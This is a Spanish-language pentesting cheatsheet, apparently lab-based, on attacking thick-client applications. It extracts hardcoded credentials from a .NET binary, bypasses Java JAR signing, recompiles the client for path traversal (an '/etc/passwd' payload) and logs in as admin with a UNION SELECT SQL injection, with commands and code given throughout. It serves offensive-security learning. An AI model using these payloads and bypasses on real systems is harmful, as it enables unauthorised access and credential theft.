> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/attacking-thick-client-applications.md).

# Attacking Thick Client Applications

## Ataque a aplicaciones Thick-Client

Las aplicaciones **thick client** (también *rich* o *fat client*) se instalan localmente y realizan gran parte del procesamiento en el lado del cliente, sin depender por completo del servidor. A diferencia de los **thin clients** (que corren en un servidor remoto y se acceden por navegador), funcionan sin internet, rinden mejor en CPU/memoria/almacenamiento y suelen usarse en entornos corporativos (gestión de proyectos, CRM, inventario). Se desarrollan típicamente en **Java, C++, .NET o Silverlight**.

Algunos frameworks aportan defensas propias: Java tiene el **sandbox** (aísla código no confiable para que no acceda a recursos del sistema sin autorización), además de **restricciones de la API** y **Code Signing**. Aun así, los thick clients se consideran **menos seguros** que las web apps porque el binario vive en la máquina del usuario y es modificable. Se dividen en **two-tier** (la app habla directamente con la base de datos) y **three-tier** (la app habla con un *application server* vía HTTP/HTTPS y este con la DB); la arquitectura de tres capas es más segura porque el atacante no llega directo a la base de datos.

Los ataques web puros (**XSS, CSRF, Clickjacking**) no aplican, pero sí muchos otros: *Improper Error Handling*, **hardcoded sensitive data**, **DLL Hijacking**, **Buffer Overflow**, **SQL Injection**, *Insecure Storage* y *Session Management*. Este escenario se centra en **extraer credenciales hardcodeadas** de un ejecutable .NET para **moverse lateralmente** dentro de una red corporativa.

> 💡 La clave del testing de thick clients es el **análisis estático** (reverse de EXE/DLL/JAR/CLASS para hallar credenciales/strings en el código) combinado con **análisis dinámico** (la app también guarda datos sensibles en memoria en runtime).

> ⚠️ Cross-ref: los mismos vectores server-side que en web apps aplican aquí (command injection, weak access control, SQLi) porque el thick client igual se comunica con servidores para sincronizar o compartir recursos.

### 1. Metodología de pentesting

El testing puede ser automático o manual y sigue estas fases, cada una con su set de herramientas:

**Information Gathering** — Identificar arquitectura, lenguajes/frameworks, tecnologías cliente/servidor, puntos de entrada y user inputs, y buscar las vulnerabilidades comunes.

| Herramienta                 | Uso                                                    |
| --------------------------- | ------------------------------------------------------ |
| `CFF Explorer`              | Inspección de cabeceras y estructura de PE.            |
| `Detect It Easy` (DiE)      | Detección de packers, compiladores y tipo de binario.  |
| `Process Monitor` (ProcMon) | Monitoreo en runtime de archivos, registro y procesos. |
| `Strings`                   | Extracción de cadenas legibles del binario.            |

**Client Side Attacks** — Reverse engineering y análisis estático/dinámico para hallar credenciales, tokens o strings hardcodeados.

| Herramienta                  | Uso                                      |
| ---------------------------- | ---------------------------------------- |
| `Ghidra` / `IDA` / `Radare2` | Reversing y desensamblado.               |
| `OllyDbg` / `x64dbg`         | Debugging dinámico (32/64-bit).          |
| `dnSpy`                      | Decompilar y depurar .NET (a C#).        |
| `JADX`                       | Decompilar Java/Android a código fuente. |
| `Frida`                      | Instrumentación dinámica en runtime.     |

**Network Side Attacks** — Análisis de tráfico HTTP/HTTPS o TCP/UDP para capturar información sensible.

| Herramienta             | Uso                                      |
| ----------------------- | ---------------------------------------- |
| `Wireshark` / `tcpdump` | Captura y análisis de tráfico.           |
| `TCPView`               | Vista de conexiones activas por proceso. |
| `Burp Suite`            | Intercepción de tráfico HTTP/HTTPS.      |

**Server Side Attacks** — Similares a web apps; atención al **OWASP Top Ten**.

### 2. Recon inicial: ejecutable en el share SMB

El escenario arranca tras obtener acceso a un servicio **SMB** expuesto. Explorando el share `NETLOGON` aparece `RestartOracle-Service.exe`. Al descargarlo y ejecutarlo, no muestra nada: parece no correr o ejecuta algo oculto.

```cmd
C:\Apps>.\Restart-OracleService.exe
C:\Apps>
```

| Parámetro                     | Descripción                                                               |
| ----------------------------- | ------------------------------------------------------------------------- |
| `.\Restart-OracleService.exe` | Ejecuta el binario desde el directorio actual; no produce salida visible. |

### 3. Capturar el archivo temporal con ProcMon

Monitoreando el proceso con **ProcMon64** (SysInternals) vemos que el ejecutable **crea un archivo temporal** en `C:\Users\Matt\AppData\Local\Temp` y lo elimina enseguida (`CreateFile` → `CloseFile`).

> ⚠️ **Gotcha:** el ejecutable borra sus artefactos antes de que podamos leerlos. Para atraparlos hay que **quitar el permiso de borrado** de la carpeta Temp: clic derecho en `C:\Users\...\AppData\Local\Temp` → *Properties → Security → Advanced → (usuario) → Disable inheritance → Convert inherited permissions into explicit permissions → Edit → Show advanced permissions*, y desmarcar **`Delete subfolders and files`** y **`Delete`**. Aplicar (*OK → Apply → OK → OK*).

Con los permisos aplicados, ejecutamos de nuevo el `.exe` y revisamos la carpeta:

```cmd
C:\Apps>dir C:\Users\cybervaca\AppData\Local\Temp\2
```

```
04/03/2023  02:09 PM         1,730,212 6F39.bat
04/03/2023  02:09 PM                 0 6F39.tmp
```

| Parámetro    | Descripción                                                           |
| ------------ | --------------------------------------------------------------------- |
| `dir <ruta>` | Lista el contenido del directorio Temp donde quedaron los artefactos. |

> ⚠️ Los nombres de los archivos generados son **aleatorios en cada ejecución** (aquí `6F39.bat`). No dependas del nombre exacto.

### 4. Analizar el batch: reconstruir el ejecutable oculto

El `6F39.bat` valida el username y, si coincide, escribe un `.exe` codificado en **base64** dentro de `oracle.txt`, lo decodifica con un script PowerShell (`monta.ps1`) y **borra todo tras ejecutarlo**:

```batch
@shift /0
@echo off

if %username% == matt goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error

:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
```

| Parámetro                                     | Descripción                                                                       |
| --------------------------------------------- | --------------------------------------------------------------------------------- |
| `if %username% == matt goto correcto`         | Solo continúa si el usuario es `matt`, `frankytech` o `ev4si0n`.                  |
| `echo <base64> >> oracle.txt`                 | Escribe línea a línea el ejecutable codificado en base64.                         |
| `[System.Convert]::FromBase64String($salida)` | Decodifica el base64 a bytes.                                                     |
| `[System.IO.File]::WriteAllBytes(...)`        | Reconstruye `restart-service.exe` en disco.                                       |
| `powershell.exe -exec bypass -file`           | Ejecuta `monta.ps1` saltando la Execution Policy.                                 |
| `del ...`                                     | **Borra los artefactos** (`monta.ps1`, `oracle.txt`, el `.exe`) tras ejecutarlos. |

Copiamos el batch y **eliminamos las líneas `del`** (y la ejecución final) para conservar los archivos:

```batch
@shift /0
@echo off

echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo $salida = $null; ... [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
```

Al ejecutar el batch modificado (doble clic) y esperar unos minutos, quedan en `c:\programdata\`: `oracle.txt` (base64) y `monta.ps1`.

```powershell
C:\>  cat C:\programdata\monta.ps1
```

```powershell
$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))
```

El script lee `oracle.txt` y lo decodifica a `restart-service.exe`. Lo ejecutamos y confirmamos:

```powershell
C:\>  ls C:\programdata\
```

```
-a----   3/24/2023  1:01 PM     273 monta.ps1
-a----   3/24/2023  1:01 PM  601066 oracle.txt
-a----   3/24/2023  1:17 PM  432273 restart-service.exe
```

Al correr el `.exe` reconstruido aparece el banner **"Restart Oracle" by @HelpDesk 2010**:

```powershell
C:\>  .\restart-service.exe
```

> 💡 Ya tenemos un binario "limpio" que analizar. ProcMon muestra que consulta muchas claves del registro (`RegQueryValue`, `NAME NOT FOUND`/`SUCCESS`) sin revelar nada concluyente → toca **debugging dinámico**.

### 5. Volcar el .NET oculto desde memoria (x64dbg)

Abrimos `restart-service.exe` en **x64dbg**. En *Options → Preferences* **desmarcamos todo excepto `Exit Breakpoint`**.

> ⚠️ **Gotcha:** con solo el *Exit Breakpoint* activo, el debugging arranca directo en el punto de salida de la app y evitamos recorrer las DLLs que se cargan antes. Esto deja la memoria "poblada" para inspeccionarla.

Con *File → Open* importamos el `.exe`; luego clic derecho en la CPU view → **Follow in Memory Map**. En los memory maps interesa el bloque de tamaño `0000000000003000`, tipo **`MAP`** y protección **`-RW--`**.

Al hacer doble clic vemos los **magic bytes `MZ`** en la columna ASCII → es un ejecutable **DOS MZ** (aparece "This program cannot be run in DOS mode"). Volvemos al *Memory Map*, clic derecho en la dirección → **Dump Memory to File**.

Ejecutamos `strings` sobre el volcado:

```powershell
C:\> C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin
```

```
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
```

| Parámetro                  | Descripción                                       |
| -------------------------- | ------------------------------------------------- |
| `strings64.exe`            | Extrae cadenas ASCII/Unicode del binario volcado. |
| `.\restart-service_...bin` | Dump de memoria exportado desde x64dbg.           |

La salida confirma que el dump es un **ejecutable .NET**.

### 6. Decompilar el .NET y leer las credenciales

El binario está ofuscado; lo limpiamos con **De4Dot** (arrastrar el `.bin` sobre el ejecutable):

```cmd
de4dot v3.1.41592.3405

Detected Unknown Obfuscator (...restart-service_00000000001E0000.bin)
Cleaning ...restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving ...restart-service_00000000001E0000-cleaned.bin
```

| Parámetro | Descripción                                                                 |
| --------- | --------------------------------------------------------------------------- |
| `de4dot`  | Deofuscador de .NET; renombra símbolos y produce un `-cleaned.bin` legible. |

Arrastramos el `-cleaned.bin` a **dnSpy** para leer el C#. El código revela que el binario es un **`runas.exe` custom** cuyo único fin es reiniciar el servicio Oracle usando **credenciales hardcodeadas** (con manejo de `SecureString` para el password).

> 🎯 Esas credenciales hardcodeadas son el objetivo: sirven para **lateral movement** dentro de la red corporativa.

### Resumen rápido

| Paso | Acción                  | Herramienta / Gotcha                                               |
| ---- | ----------------------- | ------------------------------------------------------------------ |
| 1    | Metodología por fases   | Info Gathering / Client / Network / Server side                    |
| 2    | Recon SMB → `.exe` mudo | Share `NETLOGON`; ejecuta algo oculto                              |
| 3    | Capturar el temp file   | ProcMon + **quitar permisos `Delete`** de la carpeta Temp          |
| 4    | Reconstruir el `.exe`   | Editar el `.bat` y **borrar las líneas `del`**; nombres aleatorios |
| 5    | Volcar .NET de memoria  | x64dbg: solo `Exit Breakpoint`; buscar `MZ`, dump `MAP -RW--`      |
| 6    | Deofuscar + decompilar  | De4Dot → dnSpy → **hardcoded credentials**                         |

**Comandos clave:**

| Comando                                | Uso                                           |
| -------------------------------------- | --------------------------------------------- |
| `dir ...\Temp\2`                       | Localizar el artefacto capturado              |
| `cat monta.ps1` / `ls C:\programdata\` | Verificar el `.exe` reconstruido desde base64 |
| `strings64.exe dump.bin`               | Confirmar que el dump es .NET                 |
| `de4dot dump.bin`                      | Deofuscar antes de decompilar                 |

> 🎯 **Lección clave:** un thick client puede esconder su lógica tras artefactos autoborrados, ofuscación y ejecutables embebidos en base64, pero el análisis estático + dinámico siempre gana. Neutralizar el borrado (permisos de Temp / quitar `del`), volcar el módulo real desde memoria con x64dbg (magic bytes `MZ`) y decompilarlo con De4Dot + dnSpy expone las **credenciales hardcodeadas**, que son oro para el **movimiento lateral**. Nunca guardes secretos en el binario del cliente: son recuperables.

## Explotación de vulnerabilidades web en aplicaciones Thick-Client

Las aplicaciones thick-client con arquitectura de **tres capas** (three-tier) tienen una ventaja de seguridad frente a las de **dos capas** (two-tier): el usuario final no se comunica directamente con el servidor de base de datos, sino a través de un servidor intermedio. Aun así, esa capa intermedia sigue siendo software que procesa la entrada del cliente, por lo que estas aplicaciones pueden ser vulnerables a ataques típicamente "web" como **SQL Injection** y **Path Traversal**.

En un pentest es común encontrar un thick client que se conecta a un servidor para hablar con la base de datos. En este escenario, enumerando un servidor **FTP con acceso anónimo** se obtienen los archivos `fatty-client.jar`, `note.txt`, `note2.txt` y `note3.txt`. Las notas revelan datos clave: el servidor fue reconfigurado para escuchar en el puerto `1337` (antes `8000`), el cliente aún apunta al puerto viejo, la app requiere **Java 8** y las credenciales son `qtc` / `clarabibi`.

Al ejecutar `fatty-client.jar` e intentar el login aparece `Connection Error!`. La estrategia consiste en: **corregir la conexión** (DNS + puerto), **saltar la firma del JAR**, **decompilar y modificar el cliente** para abusar de Path Traversal y descargar el `.jar` del servidor, y finalmente **explotar una SQL Injection** en el login para escalar de `user` a `admin`.

> 💡 El thick client es solo un envoltorio: el JAR contiene la configuración, la lógica de firma y las clases que podemos recompilar a nuestro favor. Todo el ataque gira en torno a **editar y reconstruir el JAR**.

> ⚠️ Las notas mencionan un **timeout implementado en el login** como mitigación contra SQLi basada en tiempo. Es el equivalente defensivo a un account lockout: tenlo en cuenta al automatizar intentos.

### 1. Reconocimiento inicial (FTP anónimo)

Archivos hallados en el FTP:

* `fatty-client.jar` → el thick client Java.
* `note.txt`, `note2.txt`, `note3.txt` → revelan puerto nuevo `1337`, dependencia de Java 8 y credenciales `qtc` / `clarabibi`.

### 2. Corregir la conexión: DNS y puerto

Al pulsar *Login* con Wireshark abierto se observa una consulta **DNS** al subdominio `server.fatty.htb`, que no resuelve. El cliente necesita que ese nombre apunte al servidor. Añadimos la entrada al archivo `hosts` (cmd como administrador):

```cmd
C:\> echo 10.10.10.174    server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts
```

| Parámetro                               | Descripción                                                        |
| --------------------------------------- | ------------------------------------------------------------------ |
| `echo ... >> archivo`                   | Añade (append) la línea al final del `hosts` sin sobrescribirlo.   |
| `10.10.10.174`                          | IP del servidor objetivo al que se mapea el nombre.                |
| `server.fatty.htb`                      | Subdominio que el cliente intenta resolver por DNS.                |
| `C:\Windows\System32\drivers\etc\hosts` | Archivo de resolución local de Windows; tiene prioridad sobre DNS. |

> ⚠️ **Gotcha:** tras arreglar el DNS, el tráfico muestra que el cliente sigue conectando al puerto `8000`. La resolución de nombre no basta; hay que cambiar el puerto **dentro del JAR** (paso 3).

### 3. Extraer el JAR y localizar el puerto

Un `.jar` es un archivo comprimido: se extrae con clic derecho → *Extract files*. Inspeccionamos el contenido:

```powershell
C:\> ls fatty-client\
```

Aparecen `beans.xml`, `fatty.p12`, `log4j.properties`, la carpeta `META-INF`, etc. Buscamos el puerto `8000` en todos los archivos:

```powershell
C:\> ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List
```

| Parámetro                   | Descripción                                                        |
| --------------------------- | ------------------------------------------------------------------ |
| `ls fatty-client\ -recurse` | Lista recursivamente todos los archivos del JAR extraído.          |
| `Select-String "8000"`      | Filtra líneas que contienen la cadena `8000` (grep de PowerShell). |
| `Select Path, LineNumber`   | Muestra solo ruta y número de línea de cada coincidencia.          |
| `Format-List`               | Presenta el resultado como lista legible.                          |

La coincidencia está en `beans.xml` (fichero de configuración de **Spring**):

```powershell
C:\> cat fatty-client\beans.xml
```

```xml
<bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
   <constructor-arg index="0" value = "server.fatty.htb"/>
   <constructor-arg index="1" value = "8000"/>
</bean>
...
<bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
   <property name = "secret" value = "clarabibiclarabibiclarabibi"/>
</bean>
```

Editamos `index="1"` de `8000` a **`1337`**. De paso anotamos el `secret`: `clarabibiclarabibiclarabibi`.

### 4. Bypass de la firma del JAR (SHA-256 digest mismatch)

El JAR está **firmado**: al arrancar valida el hash SHA-256 de cada archivo contra `META-INF/MANIFEST.MF`. Si editamos `beans.xml`, el arranque falla por *digest mismatch*.

```powershell
C:\> cat fatty-client\META-INF\MANIFEST.MF
```

```txt
Manifest-Version: 1.0
...
Name: org/springframework/jmx/export/metadata/ManagedOperationParameter.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
```

Para saltar la validación:

1. Eliminamos todas las entradas `Name:` / `SHA-256-Digest:` del `MANIFEST.MF`, dejando solo la cabecera.
2. Borramos los archivos de firma `1.RSA` y `1.SF` de `META-INF/`.
3. El `MANIFEST.MF` resultante **debe terminar con una línea en blanco**.

```txt
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

```

Reconstruimos el JAR:

```powershell
C:\> cd .\fatty-client
C:\> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
```

| Parámetro                 | Descripción                                               |
| ------------------------- | --------------------------------------------------------- |
| `jar`                     | Herramienta del JDK para crear/manipular archivos `.jar`. |
| `-c`                      | **Create**: crea un nuevo archivo JAR.                    |
| `-m`                      | Incluye el `MANIFEST.MF` indicado en el nuevo JAR.        |
| `-f`                      | Especifica el nombre del archivo de salida.               |
| `.\META-INF\MANIFEST.MF`  | Manifest modificado (ya sin hashes).                      |
| `..\fatty-client-new.jar` | JAR de salida.                                            |
| `*`                       | Incluye todos los archivos del directorio actual.         |

Al abrir `fatty-client-new.jar` y loguearse con `qtc` / `clarabibi` aparece **`Login Successful!`**.

> ⚠️ **Gotcha crítico:** olvidar la **línea en blanco final** del `MANIFEST.MF`, o no borrar `1.RSA` / `1.SF`, hace que el JAR se niegue a arrancar. Ambos detalles son obligatorios para el bypass de firma.

### 5. Foothold: enumeración dentro de la app

* **Profile → Whoami:** el usuario `qtc` tiene rol `user`.
* **ServerStatus:** las opciones (`Uname`, `Users`, `Netstat`, `Ipconfig`) están deshabilitadas → sugiere que existe un usuario con más privilegios (`admin`).
* **FileBrowser → Notes.txt → `security.txt`:** menciona issues críticos pendientes de arreglar.
* **FileBrowser → Mail → `dave.txt`:** indica que se **eliminaron los usuarios admin** de la base de datos y que se implementó un **timeout** en el login para mitigar SQLi basada en tiempo.

> 💡 Que los admin estén "borrados" no cierra la puerta: la SQL Injection permite **fabricar** un usuario admin en memoria vía `UNION SELECT` (paso 8).

### 6. Path Traversal

Como podemos leer archivos, probamos un payload clásico de Path Traversal en el campo del FileBrowser:

```txt
../../../../../../etc/passwd
```

El servidor devuelve un error que revela que **filtra el carácter `/`** de la entrada (`.../opt/fatty/files/mail...etc/passwd`). El filtro está en el **lado cliente**, así que lo esquivamos decompilando y modificando la app.

Decompilamos con **JD-GUI** (arrastrar `fatty-client-new.jar`) y guardamos con *Save All Sources*; luego extraemos el `.src.zip`. La lógica de features está en `Invoker.java`:

```java
public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    ...
    this.action = new ActionMessage(this.sessionID, "files");
    this.action.addArgument(folder);
    sendAndRecv();
    ...
    return this.response.getContentAsString();
}
```

`showFiles()` envía el nombre de carpeta al servidor. El valor lo fija `ClientGuiTest.java`, que codifica `"configs"` de forma fija:

```java
ClientGuiTest.this.currentFolder = "configs";
response = ClientGuiTest.this.invoker.showFiles("configs");
```

Lo reemplazamos por `..` para escapar del directorio:

```java
ClientGuiTest.this.currentFolder = "..";
response = ClientGuiTest.this.invoker.showFiles("..");
```

> ⚠️ **Gotcha:** el filtro de `/` solo actúa sobre la entrada del formulario. Como recompilamos el cliente y enviamos `..` directamente, **saltamos el saneamiento**. Es el mismo principio que en LFI/Path Traversal web cuando el filtro está mal ubicado.

Compilamos la clase modificada contra el JAR original:

```powershell
C:\> javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java
```

| Parámetro                  | Descripción                                                                           |
| -------------------------- | ------------------------------------------------------------------------------------- |
| `javac`                    | Compilador de Java (genera `.class`).                                                 |
| `-cp fatty-client-new.jar` | **Classpath**: aporta las dependencias/clases del JAR original para resolver imports. |
| `ClientGuiTest.java`       | Archivo fuente modificado a compilar.                                                 |

Preparamos una copia limpia del JAR y sobrescribimos las clases `gui` con las recién compiladas:

```powershell
C:\> mkdir raw
C:\> cp fatty-client-new.jar raw\fatty-client-new-2.jar
```

Extraemos `fatty-client-new-2.jar` dentro de `raw\` (*Extract Here*) y reemplazamos las clases:

```powershell
C:\> mv -Force fatty-client-new.jar.src\htb\fatty\client\gui\*.class raw\htb\fatty\client\gui\
```

| Parámetro   | Descripción                                                               |
| ----------- | ------------------------------------------------------------------------- |
| `mv -Force` | Mueve sobrescribiendo los `.class` existentes sin pedir confirmación.     |
| `*.class`   | Todas las clases recompiladas (incluye clases anónimas `$1`, `$2`, etc.). |

Reconstruimos el JAR final:

```powershell
C:\> cd raw
C:\> jar -cmf META-INF\MANIFEST.MF traverse.jar .
```

| Parámetro              | Descripción                                                         |
| ---------------------- | ------------------------------------------------------------------- |
| `-cmf`                 | Create + Manifest + File (crea el JAR usando el manifest indicado). |
| `META-INF\MANIFEST.MF` | Manifest sin hashes (bypass de firma ya aplicado).                  |
| `traverse.jar`         | JAR de salida modificado.                                           |
| `.`                    | Empaqueta todo el contenido del directorio actual.                  |

Al loguearnos y abrir **FileBrowser → Config**, ahora vemos el contenido de `configs/../`, incluyendo `fatty-server.jar` y `start.sh`. El `start.sh` revela que `fatty-server.jar` corre dentro de un **contenedor Docker Alpine** (cron + SSH + Java).

### 7. Descargar `fatty-server.jar`

Para analizar el servidor necesitamos su binario. Modificamos la función `open()` de `Invoker.java` para que **guarde en disco** el contenido recibido:

```java
import java.io.FileOutputStream;
...
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    ...
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument(foldername);
    this.action.addArgument(filename);
    sendAndRecv();
    String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
    FileOutputStream fos = new FileOutputStream(desktopPath);
    ...
    byte[] content = this.response.getContent();
    fos.write(content);
    fos.close();
    return "Successfully saved the file to " + desktopPath;
}
```

Recompilamos y reconstruimos el JAR (mismos pasos del paso 6), abrimos **FileBrowser → Config**, escribimos `fatty-server.jar` en el campo y pulsamos *Open*. El archivo se descarga al escritorio:

```powershell
C:\> ls C:\Users\cybervaca\Desktop\
```

### 8. SQL Injection en el login

Decompilando `fatty-server.jar` (JD-GUI) encontramos `FattyDbSession.class` con `checkLogin()`. La consulta concatena el username **sin sanitizar**:

```java
rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
...
if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
    return newUser;
throw new LoginException("Wrong Password!");
```

Además, el cliente **no envía la contraseña en claro**: la transforma en `User.java` con un hash:

```java
public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    ...
    this.password = DatatypeConverter.printHexBinary(hash);
}
```

Es decir: `sha256(username + password + "clarabibimakeseverythingsecure")`. El username va sin tocar → **vulnerable a SQLi**.

Para ver los errores SQL, apuntamos el visor de logs a `../logs` en `ClientGuiTest.java`:

```java
ClientGuiTest.this.currentFolder = "../logs";
response = ClientGuiTest.this.invoker.showFiles("../logs");
```

Logueándonos con el username `qtc'` y leyendo `error-log.txt` se confirma el **syntax error** → SQLi confirmada.

#### Por qué falla `' or '1'='1`

Con `' or '1'='1` en el username, la query es válida:

```sql
SELECT id,username,email,password,role FROM users WHERE username='' or '1'='1'
```

Devuelve el **primer registro** (`qtc`) y el servidor compara su hash real contra el que enviamos:

* Hash en BD → `sha256("qtc"+"clarabibi"+"clarabibimakeseverythingsecure")`
* Hash enviado → `sha256("' or '1'='1"+"' or '1'='1"+"clarabibimakeseverythingsecure")`

No coinciden → `Wrong Password!`.

> ⚠️ **Gotcha:** el hashing del lado cliente rompe los payloads de autenticación clásicos, porque el password comparado nunca es texto plano controlado por nosotros. Hay que **controlar el password que devuelve la query** y **enviar ese mismo valor en claro**.

#### Inyección con `UNION SELECT` (fabricar un admin)

Con `UNION` creamos una fila falsa con password y rol a nuestro gusto:

```sql
select id,username,email,password,role from users where username='abc' UNION SELECT 1,'abc','a@b.com','abc','admin'
```

El primer `SELECT` no devuelve nada; el `UNION` inyecta un usuario `admin` con password `abc`. Para que la comparación cuadre, modificamos `User.java` en el cliente para que **envíe el password en texto plano** (sin hashear):

```java
public void setPassword(String password) {
    this.password = password;
}
```

Reconstruimos el JAR y nos logueamos con:

* **Username:** `abc' UNION SELECT 1,'abc','a@b.com','abc','admin`
* **Password:** `abc`

El `UNION` devuelve rol `admin` y password `abc`; como enviamos `abc` en claro, la comparación **coincide** y entramos como `admin`. Ahora las opciones de **ServerStatus** están habilitadas.

> 💡 **Cross-ref:** la técnica de fabricar registros con `UNION SELECT` es la misma que en SQLi web para bypass de autenticación; aquí el matiz es que el hashing client-side te obliga a recompilar el thick client para alinear el password enviado con el inyectado.

> 🧹 **Buena práctica:** al terminar, elimina los JAR modificados (`fatty-client-new.jar`, `traverse.jar`, etc.) y los `fatty-server.jar` descargados del sistema del cliente, y documenta cada modificación del binario en los apéndices del reporte para que el hallazgo sea reproducible.

### Resumen rápido

| Paso | Acción                           | Requiere / Gotcha                                                                                |
| ---- | -------------------------------- | ------------------------------------------------------------------------------------------------ |
| 1    | Recon FTP anónimo                | Notas revelan puerto `1337`, Java 8, creds `qtc:clarabibi`                                       |
| 2    | Redirigir DNS + puerto           | `hosts` → `server.fatty.htb`; el puerto se cambia dentro del JAR                                 |
| 3    | Extraer JAR y editar `beans.xml` | `8000` → `1337`; `secret = clarabibiclarabibiclarabibi`                                          |
| 4    | Bypass firma SHA-256             | Vaciar `MANIFEST.MF` + borrar `1.RSA`/`1.SF` + **línea final en blanco**                         |
| 5    | Foothold / enumeración           | Rol `user`; admins "borrados"; timeout anti-SQLi                                                 |
| 6    | Path Traversal                   | Filtro `/` es client-side → recompilar con `showFiles("..")`                                     |
| 7    | Descargar `fatty-server.jar`     | Modificar `open()` con `FileOutputStream`                                                        |
| 8    | SQL Injection (UNION)            | `abc' UNION SELECT 1,'abc','a@b.com','abc','admin'` + password en claro (`setPassword` sin hash) |

**Comandos clave:**

| Comando                                        | Uso                                         |
| ---------------------------------------------- | ------------------------------------------- |
| `echo IP host >> hosts`                        | Resolución local del subdominio             |
| `Select-String "8000"`                         | Localizar el puerto en los archivos del JAR |
| `jar -cmf MANIFEST.MF salida.jar *`            | Reconstruir el JAR sin firma                |
| `javac -cp orig.jar Clase.java`                | Recompilar clase modificada contra el JAR   |
| `jar -cmf META-INF\MANIFEST.MF traverse.jar .` | Empaquetar el cliente con Path Traversal    |

> 🎯 **Lección clave:** en un thick client, el binario del cliente **es** la superficie de ataque. Decompilando y recompilando el JAR se anulan los filtros y el hashing que viven en el lado cliente, dejando expuestas vulnerabilidades web clásicas (**Path Traversal** para leer/descargar archivos y **SQL Injection** con `UNION SELECT` para escalar de `user` a `admin`). Nunca confíes en controles de seguridad implementados en el cliente: son modificables.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/attacking-thick-client-applications.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
